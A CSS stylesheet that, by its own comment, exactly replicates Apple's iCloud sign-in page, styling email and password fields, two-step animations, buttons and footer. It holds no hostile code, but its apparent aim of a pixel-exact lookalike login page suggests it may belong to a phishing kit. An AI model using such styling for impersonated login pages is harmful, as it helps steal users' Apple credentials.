/* =============================================
   iCloud Login – style.css
   Replica exacta de Apple signin-v2
   ============================================= */

*,
*::before,
*::after {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

:root {
    --bg: #ffffff;
    --white: #ffffff;
    --text: rgba(0, 0, 0, 0.88);
    --text-secondary: rgba(0, 0, 0, 0.56);
    --border: #c7c7cc;
    --border-focus: #0071e3;
    --blue: #0071e3;
    --blue-hover: #0077ed;
    --blue-active: #006edb;
    --dark-btn: #1d1d1f;
    --dark-btn-hover: #3a3a3c;
    --link: #0071e3;
    --error: #ff3b30;
    --input-bg: #ffffff;
    --theme-color-systemBlack: #000;
}

@media (prefers-color-scheme: dark) {
    :root {
        --bg: rgb(28, 28, 30);
        --white: rgb(44, 44, 46);
        --text: rgba(255, 255, 255, 0.98);
        --text-secondary: rgba(255, 255, 255, 0.56);
        --border: #48484a;
        --input-bg: rgb(44, 44, 46);
        --dark-btn: #636366;
    }
}

html,
body {
    min-height: 100%;
}

body {
    font-family: -apple-system, "SF Pro Text", "Helvetica Neue", Arial, sans-serif;
    background-color: var(--bg);
    color: var(--text);
    font-size: 14px;
    line-height: 1.5;
}

/* ─── TOOLBAR ─── */
.cloudos-toolbar {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    height: 52px;
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 0 18px;
    z-index: 200;
    background: transparent;
}

.icloud-logo a {
    display: flex;
    align-items: center;
    color: var(--text);
    text-decoration: none;
}

.action-buttons {
    display: flex;
    align-items: center;
}

.help-menu-button {
    background: none;
    border: none;
    cursor: pointer;
    color: var(--text);
    width: 36px;
    height: 36px;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: background 0.15s;
}

.help-menu-button:hover {
    background: rgba(0, 0, 0, 0.07);
}


/* ─── PAGE LAYOUT ─── */
.flex-page-viewport {
    display: flex;
    flex-direction: column;
    min-height: 100vh;
}

.flex-page-content {
    flex: 1;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    padding: 60px 16px 20px;
}

.home-login-component {
    width: 100%;
    display: flex;
    justify-content: center;
    flex: 1;
    padding: 20px 0;
}

.parent-container {
    width: 100%;
    max-width: 640px;
}

/* ─── CARD ─── */
.body-view {
    background: var(--white);
    border-radius: 18px;
    padding: 40px 48px 36px;
    box-shadow: 0 2px 20px rgba(0, 0, 0, 0.08);
    display: flex;
    flex-direction: column;
    align-items: center;
}

/* ─── ICON + TITLE ─── */
.widget-icon-text {
    display: flex;
    flex-direction: column;
    align-items: center;
    margin-bottom: 24px;
}

.widget-icon-text .icon {
    width: 160px;
}

.sign-in-label {
    font-family: "SF Pro Display", "Helvetica Neue", sans-serif;
    font-size: 32px;
    font-weight: 600;
    line-height: 36px;
    color: var(--text);
    margin-top: 20px;
    text-align: center;
}

/* ─── AUTH WIDGET ─── */
.auth-widget {
    width: 100%;
    max-width: 400px;
}

/* ─── FLOATING LABEL INPUTS STACK (Email + Password) ─── */
.inputs-container {
    width: 100%;
    margin-bottom: 20px;
    background: var(--input-bg);
    border: 1.5px solid var(--border);
    border-radius: 12px;
    transition: border-color 0.2s, box-shadow 0.2s;
    overflow: hidden;
    position: relative;
    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.02);
}

.inputs-container:focus-within {
    border-color: var(--border-focus);
    box-shadow: 0 0 0 3px rgba(0, 113, 227, 0.2);
}

.field-wrapper {
    position: relative;
    background: transparent;
}

/* Divider between inputs */
.field-wrapper+.field-wrapper {
    border-top: 1px solid var(--border);
    transition: border-top-color 0.3s;
}

.field-wrapper input {
    width: 100%;
    height: 54px;
    padding: 20px 14px 6px;
    border: none;
    background: transparent;
    font-size: 15px;
    color: var(--text);
    outline: none;
    font-family: inherit;
    caret-color: var(--border-focus);
}

.field-wrapper label {
    position: absolute;
    top: 50%;
    left: 14px;
    transform: translateY(-50%);
    font-size: 15px;
    color: var(--text-secondary);
    pointer-events: none;
    transition: top 0.15s ease, font-size 0.15s ease, transform 0.15s ease;
}

.field-wrapper input:focus~label,
.field-wrapper input:not(:placeholder-shown)~label {
    top: 14px;
    transform: none;
    font-size: 11.5px;
}

.field-wrapper input::placeholder {
    color: transparent;
}

/* ─── PASSWORD FIELD ANIMATION ─── */
#password-field {
    opacity: 1;
    max-height: 55px;
    /* Altura exacta del input + borde = 55 */
    transition: max-height 0.4s cubic-bezier(0.25, 0.1, 0.25, 1),
        opacity 0.4s cubic-bezier(0.25, 0.1, 0.25, 1);
}

#password-field.hidden {
    display: block !important;
    /* Mantenemos display para poder animar altura */
    max-height: 0;
    opacity: 0;
    border-top-color: transparent;
    pointer-events: none;
}

/* ─── STEP CONTENT ANIMATIONS ─── */
#step1-content {
    opacity: 1;
    max-height: 400px;
    /* Altura suficiente */
    overflow: hidden;
    transition: opacity 0.3s ease, max-height 0.35s ease, transform 0.3s;
    transform: translateY(0);
}

#step1-content.hidden {
    display: block !important;
    opacity: 0;
    max-height: 0;
    transform: scale(0.98);
    pointer-events: none;
}

#step2-content {
    opacity: 1;
    max-height: 200px;
    overflow: hidden;
    transition: opacity 0.4s ease 0.1s, max-height 0.4s ease;
    /* Pequeño delay */
    transform: translateY(0);
}

#step2-content.hidden {
    display: block !important;
    opacity: 0;
    max-height: 0;
    transform: translateY(-10px);
    pointer-events: none;
}

/* ─── ERROR ─── */
.error-balloon {
    color: var(--error);
    font-size: 13px;
    text-align: center;
    padding: 8px 12px;
    margin-bottom: 12px;
    background: rgba(255, 59, 48, 0.07);
    border: 1px solid rgba(255, 59, 48, 0.2);
    border-radius: 8px;
}

.error-balloon.hidden {
    display: none;
}

/* ─── LINKS ─── */
.text-link {
    display: block;
    text-align: center;
    color: var(--link);
    font-size: 14px;
    text-decoration: none;
    margin-bottom: 18px;
}

.text-link:hover {
    text-decoration: underline;
}

/* ─── PRIVACY ROW ─── */
.privacy-row {
    display: flex;
    align-items: flex-start;
    gap: 10px;
    margin-bottom: 20px;
}

.privacy-icon {
    flex-shrink: 0;
    margin-top: 2px;
}

.privacy-text {
    font-size: 11px;
    color: var(--text-secondary);
    line-height: 1.58;
}

.inline-link {
    color: var(--link);
    text-decoration: none;
}

.inline-link:hover {
    text-decoration: underline;
}

/* ═══════════════════════════════════════════
   SIGNIN-V2 BUTTON SYSTEM (replica Apple)
   ═══════════════════════════════════════════ */

.signin-v2__buttons-wrapper {
    display: flex;
    flex-direction: column;
    gap: 12px;
    margin-top: 4px;
}

.signin-v2__buttons-wrapper__button-wrapper {
    display: flex;
    flex-direction: column;
    align-items: stretch;
}

/* ── Base button ── */
.button {
    display: flex;
    align-items: center;
    justify-content: center;
    width: 100%;
    min-height: 43px;
    padding: 0 16px;
    border: none;
    cursor: pointer;
    font-family: inherit;
    font-size: 17px;
    font-weight: 400;
    letter-spacing: -0.022em;
    text-align: center;
    transition:
        background-color 0.2s ease,
        transform 0.1s ease,
        box-shadow 0.2s ease,
        opacity 0.2s ease;
    position: relative;
    overflow: hidden;
    -webkit-user-select: none;
    user-select: none;
}

/* Ripple on click */
.button::after {
    content: '';
    position: absolute;
    inset: 0;
    background: rgba(255, 255, 255, 0);
    transition: background 0.2s;
}

.button:active::after {
    background: rgba(255, 255, 255, 0.12);
}

.button:active {
    transform: scale(0.985);
}

/* ── Rounded Rectangle (Apple style) ── */
.button-rounded-rectangle {
    border-radius: 12px;
}

/* ── Blue primary (Continuar / Iniciar sesión) ── */
.button.button-rounded-rectangle:not(.button-neutral):not([disabled]) {
    background-color: var(--blue);
    color: #ffffff;
}

.button.button-rounded-rectangle:not(.button-neutral):not([disabled]):hover {
    background-color: var(--blue-hover);
}

.button.button-rounded-rectangle:not(.button-neutral):not([disabled]):active {
    background-color: var(--blue-active);
}

/* ── Disabled blue button ── */
.button.button-rounded-rectangle:not(.button-neutral)[disabled] {
    background-color: var(--blue);
    color: #ffffff;
    opacity: 0.32;
    cursor: not-allowed;
    transform: none;
}

/* ── Neutral dark button (iPhone) ── */
.button-neutral {
    background-color: var(--dark-btn) !important;
    color: #ffffff !important;
}

.button-neutral:hover:not([disabled]) {
    background-color: var(--dark-btn-hover) !important;
}

.button-neutral[disabled] {
    cursor: not-allowed;
    transform: none !important;
}

/* tk-subbody = Apple's body text size */
.tk-subbody {
    font-size: 17px;
    font-weight: 400;
    letter-spacing: -0.022em;
}

/* button-block = full width */
.button-block {
    width: 100%;
}

/* ── Button inner text ── */
.signin-v2__buttons-wrapper__button-wrapper__button__text {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 7px;
    pointer-events: none;
}

/* ── iPhone icon (SF Symbol style using CSS) ── */
.iphone-icon {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    width: 20px;
    height: 20px;
    flex-shrink: 0;
}

/* Inline SVG icon for iPhone via background-image */
.iphone-icon::before {
    content: '';
    display: block;
    width: 20px;
    height: 20px;
    background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath d='M16 2H8C6.34 2 5 3.34 5 5v14c0 1.66 1.34 3 3 3h8c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3zm-4 18c-.83 0-1.5-.67-1.5-1.5S11.17 17 12 17s1.5.67 1.5 1.5S12.83 20 12 20zm5-4H7V5h10v11z' fill='white'/%3E%3C/svg%3E");
    background-size: contain;
    background-repeat: no-repeat;
    background-position: center;
}

/* ── passkey row caption ── */
.tk-caption p {
    font-size: 12px;
    color: var(--text-secondary);
    text-align: center;
    margin-top: 8px;
}



/* ─── LOADING SPINNER ─── */
.signin-spinner {
    display: inline-block;
    width: 18px;
    height: 18px;
    border: 2px solid rgba(255, 255, 255, 0.4);
    border-top-color: #fff;
    border-radius: 50%;
    animation: spin 0.65s linear infinite;
}

.signin-spinner.hidden {
    display: none;
}

@keyframes spin {
    to {
        transform: rotate(360deg);
    }
}

/* ─── FOOTER ─── */
footer {
    margin-top: auto;
}

.legal-footer {
    padding: 16px 24px 28px;
    text-align: center;
}

.legal-footer-content {
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 8px;
}

.inner-row {
    display: flex;
    align-items: center;
    flex-wrap: wrap;
    justify-content: center;
    gap: 4px 6px;
}

.separator {
    display: inline-block;
    width: 1px;
    height: 12px;
    background: var(--border);
    margin: 0 6px;
}

.inner-row a {
    font-size: 12px;
    color: var(--text-secondary);
    text-decoration: none;
    transition: color 0.15s;
}

.inner-row a:hover {
    color: var(--link);
}

.copyright {
    font-size: 12px;
    color: var(--text-secondary);
}

/* ─── RESPONSIVE ─── */
@media (max-width: 600px) {
    .body-view {
        padding: 28px 20px 24px;
        border-radius: 0;
        box-shadow: none;
    }

    .sign-in-label {
        font-size: 18px;
    }

    .button {
        font-size: 15px;
    }
}